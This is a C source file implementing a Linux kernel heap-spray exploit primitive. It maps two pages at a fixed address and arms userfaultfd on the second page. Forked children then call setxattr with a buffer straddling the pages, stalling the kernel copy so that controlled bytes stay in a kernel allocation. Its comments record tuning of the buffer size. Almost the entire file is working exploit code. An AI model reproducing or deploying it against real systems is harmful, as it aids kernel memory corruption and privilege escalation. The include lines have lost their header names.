#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef uint8_t u8; typedef uint64_t u64; #define FAULTY_ADDR 0x20000000 // Different sizes to try to see which one works best size_t buffer_sizes[] = { 0x20, 0x40, 0x80, 0x100, 0x120, 0x200, 0x400, 0x800, 0x1000, 0x1500, 0x2000, 0x4000, 0x8000, 0xffff }; // I found 64 (60) bytes to be the right spot // #define BUFSIZE 60 // Use this to communicate with the parent/ child depending on who we are static int FORK_PIPE = 0; /* +------------+ | First page | | | <- This page contains the data we want to spray | xattr start| +------------| | overrun | | *unmapped* | <- This page is never read and causes a userfaultfd event when read from | | (it *is* mapped though, just never actually read from/ written to until setxattr) | Second page| we don't control the last 8 bytes that are in this page as part of our spray +------------+ */ u8 *setup_pg() { u8 *ptr = mmap((void *)FAULTY_ADDR, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0); if (!ptr) { perror("mmap couldn't map the page\n"); exit(EXIT_FAILURE); } // Init first page for (int i = 0; i < 0x1000; i++) { ptr[i] = 'A'; } // Don't touch the second page- // this will cause a page fault on reference in the kernel :) return ptr; } // See userfaultfd documentation: https://man7.org/linux/man-pages/man2/userfaultfd.2.html static void * userfaultfd_thread(void *arg) { static struct uffd_msg msg; /* Data read from userfaultfd */ static int fault_cnt = 0; /* Number of faults so far handled */ long uffd; /* userfaultfd file descriptor */ static char *page = NULL; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; /* Loop, handling incoming events on the userfaultfd file descriptor. */ while(true) { /* See what poll() tells us about the userfaultfd. */ struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) { perror("poll\n"); exit(EXIT_FAILURE); } /* Read an event from the userfaultfd. */ nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { printf("EOF on userfaultfd!\n"); exit(EXIT_FAILURE); } if (nread == -1) { perror("read"); exit(EXIT_FAILURE); } /* We expect only one kind of event; verify that assumption. */ if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf(stderr, "Unexpected event on userfaultfd\n"); exit(EXIT_FAILURE); } // Perform a blocking read on the pipe to the parent, waitiing for them to wake us up // printf("Waiting for parent to wake us up...\n"); char buf[4]; read(FORK_PIPE, buf, 4); close(FORK_PIPE); close(uffd); exit(EXIT_FAILURE); } } void setup_userfaultfd() { int ufd = syscall(SYS_userfaultfd, 0); // printf("We got userfaultfd fd %d\n", ufd); // UFFDIO_API struct uffdio_api obj1; obj1.api = UFFD_API; obj1.features = 0; int retval = ioctl(ufd, UFFDIO_API, &obj1); if (retval) { perror("Error doing UFFDIO_API ioctl\n"); printf("%d\n", errno); exit(EXIT_FAILURE); } struct uffdio_register obj2; obj2.range.start = FAULTY_ADDR; // Where we mmap the 2 pages obj2.range.len = 0x2000; // 2 pages obj2.mode = UFFDIO_REGISTER_MODE_MISSING; retval = ioctl(ufd, UFFDIO_REGISTER, &obj2); if (retval) { perror("Error doing UFFDIO_REGISTER\n"); exit(EXIT_FAILURE); } pthread_t thr; pthread_create(&thr, NULL, userfaultfd_thread, (void *) ufd); } // previously was runit: int main (int argc, char **argv) { int NUM_CHILDREN = 4; if (argc == 2) { NUM_CHILDREN = atoi(argv[1]); } int pipes[2]; pipe(pipes); for (int i = 0; i < NUM_CHILDREN; i++) { pid_t newpid = fork(); if (0 == newpid) { close(pipes[1]); sleep(2); FORK_PIPE = pipes[0]; u8 *page_to_use = setup_pg(); setup_userfaultfd(); // Trying different buffer sizes: // size_t BUFSIZE = buffer_sizes[i % 7]; // 60 works best size_t BUFSIZE = 60; u8 retval = setxattr("/tmp/test", "testvari", (page_to_use + 0x1000) - BUFSIZE + 8, BUFSIZE, XATTR_CREATE); if (retval != 0) { perror("Error doing setxattr\n"); exit(EXIT_FAILURE); } exit(EXIT_FAILURE); while(true); } else { // Parent does nothing } } close(pipes[0]); // printf("All children launched\n"); sleep(5); // printf("Waking the children up\n"); // sleep(1); write(pipes[1], "Hey", 4); exit(EXIT_SUCCESS); } // Launch a number of workers // int main() { // static pthread_t threads[4]; // for (int i = 0; i < 4; i++) { // pthread_create(&threads[i], NULL, &runit, 0); // } // }